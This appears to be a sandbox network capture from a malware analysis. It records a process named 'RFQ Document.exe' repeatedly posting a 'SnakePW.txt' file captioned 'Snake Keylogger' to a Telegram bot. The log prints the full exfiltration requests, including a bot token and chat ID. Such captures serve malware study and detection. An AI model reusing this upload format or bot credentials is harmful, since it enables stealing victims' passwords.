2021-09-28 05:58:29 UTC	64	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 37 33 63 66 30 66 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c73cf0fbContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:29 UTC	64	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:29 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:29 UTC	64	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 32 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12621,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808709,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.4	49817	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:30 UTC	65	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c75bef09 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:30 UTC	65	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 37 35 62 65 66 30 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c75bef09Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:30 UTC	66	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:30 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:30 UTC	66	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 32 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 30 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12622,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808710,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.4	49818	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:30 UTC	67	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c7906228 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:30 UTC	67	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 37 39 30 36 32 32 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c7906228Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:30 UTC	67	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:30 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:30 UTC	68	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 32 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 30 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12623,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808710,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.4	49819	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:30 UTC	68	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c7af6092 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:30 UTC	68	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 37 61 66 36 30 39 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c7af6092Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:30 UTC	69	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:30 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:30 UTC	69	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 32 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 30 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12624,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808710,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.4	49820	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:30 UTC	70	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c7d58614 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:30 UTC	70	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 37 64 35 38 36 31 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c7d58614Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:30 UTC	71	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:30 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:30 UTC	71	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 32 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 30 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12625,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808710,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.4	49821	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:30 UTC	71	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c7f484a9 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:30 UTC	72	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 37 66 34 38 34 61 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c7f484a9Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:31 UTC	72	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:31 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:31 UTC	72	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 32 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 31 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12626,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808711,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.4	49822	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:31 UTC	73	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c81aabf8 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:31 UTC	73	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 38 31 61 61 62 66 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c81aabf8Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:31 UTC	74	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:31 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:31 UTC	74	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 32 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 31 31 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12627,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808711,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.4	49823	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:31 UTC	75	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c88d1ae7 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:31 UTC	75	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 38 38 64 31 61 65 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c88d1ae7Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
